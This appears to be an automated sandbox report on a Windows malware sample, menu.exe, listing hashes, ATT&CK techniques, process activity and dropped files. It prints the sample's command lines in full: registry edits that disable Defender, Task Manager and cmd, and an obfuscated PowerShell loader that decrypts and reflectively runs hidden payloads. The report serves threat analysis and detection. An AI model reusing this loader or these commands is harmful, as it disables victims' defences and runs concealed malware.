8b777ba206b3be169e56502581528eb3735c758a8e3c8a0f6b4479ddfc92bb78

Analysis

max time kernel
125s
max time network
124s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
18/11/2024, 02:12

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General

Target

menu.exe
Size

327KB
MD5

0f7fea309ccdc6ba53737fb6d88fcfd3
SHA1

0f3dfdcbbdb0412cbee95c87a366578da973f07b
SHA256

8b777ba206b3be169e56502581528eb3735c758a8e3c8a0f6b4479ddfc92bb78
SHA512

f123781d84ad83a885aa0a4916be9b40adb87090eb301cd9afcf652cbbfd4deaac1f91b09b616d360f1bf70dbb430a99f5226b118140e21f02d5df2deaff133e
SSDEEP

6144:4PQGXEB3uR4D7P05EkRTwEur5447h/PcHnUSFIT7JHoI0E7YPWs3kZ4sUT:4QapW/PqbTw3FcHUSFU1v0E7v43T

Score

8^/10

evasion execution

Malware Config

Signatures

Blocks application from running via registry modification 3 IoCs

Adds application to list of disallowed applications.

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "powershell.exe"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2712	powershell.exe

Disables Task Manager via registry modification
evasion

Disables cmd.exe use via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2712	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2712	powershell.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 2520 wrote to memory of 1264	2520	menu.exe	30
PID 2520 wrote to memory of 1264	2520	menu.exe	30
PID 2520 wrote to memory of 1264	2520	menu.exe	30
PID 2520 wrote to memory of 2264	2520	menu.exe	32
PID 2520 wrote to memory of 2264	2520	menu.exe	32
PID 2520 wrote to memory of 2264	2520	menu.exe	32
PID 1264 wrote to memory of 2708	1264	cmd.exe	34
PID 1264 wrote to memory of 2708	1264	cmd.exe	34
PID 1264 wrote to memory of 2708	1264	cmd.exe	34
PID 2520 wrote to memory of 2864	2520	menu.exe	36
PID 2520 wrote to memory of 2864	2520	menu.exe	36
PID 2520 wrote to memory of 2864	2520	menu.exe	36
PID 2708 wrote to memory of 2748	2708	net.exe	35
PID 2708 wrote to memory of 2748	2708	net.exe	35
PID 2708 wrote to memory of 2748	2708	net.exe	35
PID 1264 wrote to memory of 2904	1264	cmd.exe	37
PID 1264 wrote to memory of 2904	1264	cmd.exe	37
PID 1264 wrote to memory of 2904	1264	cmd.exe	37
PID 1264 wrote to memory of 2888	1264	cmd.exe	38
PID 1264 wrote to memory of 2888	1264	cmd.exe	38
PID 1264 wrote to memory of 2888	1264	cmd.exe	38
PID 1264 wrote to memory of 3012	1264	cmd.exe	39
PID 1264 wrote to memory of 3012	1264	cmd.exe	39
PID 1264 wrote to memory of 3012	1264	cmd.exe	39
PID 1264 wrote to memory of 2848	1264	cmd.exe	40
PID 1264 wrote to memory of 2848	1264	cmd.exe	40
PID 1264 wrote to memory of 2848	1264	cmd.exe	40
PID 1264 wrote to memory of 2900	1264	cmd.exe	41
PID 1264 wrote to memory of 2900	1264	cmd.exe	41
PID 1264 wrote to memory of 2900	1264	cmd.exe	41
PID 1264 wrote to memory of 2896	1264	cmd.exe	42
PID 1264 wrote to memory of 2896	1264	cmd.exe	42
PID 1264 wrote to memory of 2896	1264	cmd.exe	42
PID 1264 wrote to memory of 2884	1264	cmd.exe	43
PID 1264 wrote to memory of 2884	1264	cmd.exe	43
PID 1264 wrote to memory of 2884	1264	cmd.exe	43
PID 1264 wrote to memory of 2768	1264	cmd.exe	44
PID 1264 wrote to memory of 2768	1264	cmd.exe	44
PID 1264 wrote to memory of 2768	1264	cmd.exe	44
PID 2264 wrote to memory of 2712	2264	cmd.exe	45
PID 2264 wrote to memory of 2712	2264	cmd.exe	45
PID 2264 wrote to memory of 2712	2264	cmd.exe	45

C:\Users\Admin\AppData\Local\Temp\menu.exe
"C:\Users\Admin\AppData\Local\Temp\menu.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2520
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Roaming\load.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1264
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2708
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f
    3⤵
    PID:2904
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableCMD" /t REG_DWORD /d 1 /f
    3⤵
    - Disables cmd.exe use via registry modification
    PID:2888
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:3012
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDrives" /t REG_DWORD /d 4 /f
    3⤵
    PID:2848
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer" /v "DisableMSI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2900
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "DisallowRun" /t REG_DWORD /d 1 /f
    3⤵
    - Blocks application from running via registry modification
    PID:2884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "1" /t REG_SZ /d "powershell.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:2768
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Roaming\loader.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IRcHV6wpyUlV7FCq3bjBVC6HnvFYqZVt3VMM1/rthAU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ot9DBajrhd5olnzo/saVIg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DyDjK=New-Object System.IO.MemoryStream(,$param_var); $nXYTA=New-Object System.IO.MemoryStream; $riGTr=New-Object System.IO.Compression.GZipStream($DyDjK, [IO.Compression.CompressionMode]::Decompress); $riGTr.CopyTo($nXYTA); $riGTr.Dispose(); $DyDjK.Dispose(); $nXYTA.Dispose(); $nXYTA.ToArray();}function execute_function($param_var,$param2_var){ $dwlZo=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $UVtXb=$dwlZo.EntryPoint; $UVtXb.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\loader.bat';$InQWi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\loader.bat').Split([Environment]::NewLine);foreach ($XQbNl in $InQWi) { if ($XQbNl.StartsWith(':: ')) { $WcJMs=$XQbNl.Substring(3); break; }}$payloads_var=[string[]]$WcJMs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2712
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\ran.vbs"
  2⤵
  PID:2864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\load.bat

Filesize
1KB

MD5
cf08811b97cdd3d57685a7841a40e2d4

SHA1
faefa9b229e81eef5d200799c39b5db5511922d2

SHA256
7f27ffda0644c500961f965c6f403f54c41c6df7fb685020cf98f7be6fd5082c

SHA512
695e45bc85be611ca90e92ff5502a707e6ec298f31b6113be2537be78beda222d52751f090b0dda752e2880ac08c62c6d80f4fdd371b2721f1c728d9ebd1002a

Download Submit
C:\Users\Admin\AppData\Roaming\loader.bat

Filesize
291KB

MD5
d05f7937bc9eef5bf3042a8a2ecd2f08

SHA1
15230c5d5506e80ac6cecd06a21bea1a44aeef08

SHA256
b981829c3b1026c432c08bc8a65bc1a848750596e01a065bcacef49c128f7226

SHA512
42954c12e551ff742ab466b416f805d93632cafab1bd2c825b16dcb4f838d7914e61e84cf46744d081d0e6424a3afd335cd169cf8e9c0b6d83733f45eba71c95

Download Submit
C:\Users\Admin\AppData\Roaming\ran.vbs

Filesize
4KB

MD5
be03bd7bd0315142da6482ee8075f97d

SHA1
44242df82433922b5dae792842d18da1eccac112

SHA256
f245b406955a4a335f5eb76ef8e48958c55be9e7e667545e95602440c64ee9ae

SHA512
55230398878d8cbca4b14a93b9e5cae00790f845140f28c9c82c622e7bc53eb4c9875de281eb3ba280478cbecbe56eb6a1720832e9afc6607daeafb83f83e7e9

Download Submit
memory/2520-0-0x000007FEF4FC3000-0x000007FEF4FC4000-memory.dmp

Filesize
4KB

Download
memory/2520-1-0x0000000000A30000-0x0000000000A88000-memory.dmp

Filesize
352KB

Download
memory/2520-22-0x000007FEF4FC0000-0x000007FEF59AC000-memory.dmp

Filesize
9.9MB

Download
memory/2520-24-0x000007FEF4FC0000-0x000007FEF59AC000-memory.dmp

Filesize
9.9MB

Download
memory/2712-30-0x000000001B7F0000-0x000000001BAD2000-memory.dmp

Filesize
2.9MB

Download
memory/2712-31-0x0000000001D80000-0x0000000001D88000-memory.dmp

Filesize
32KB

Download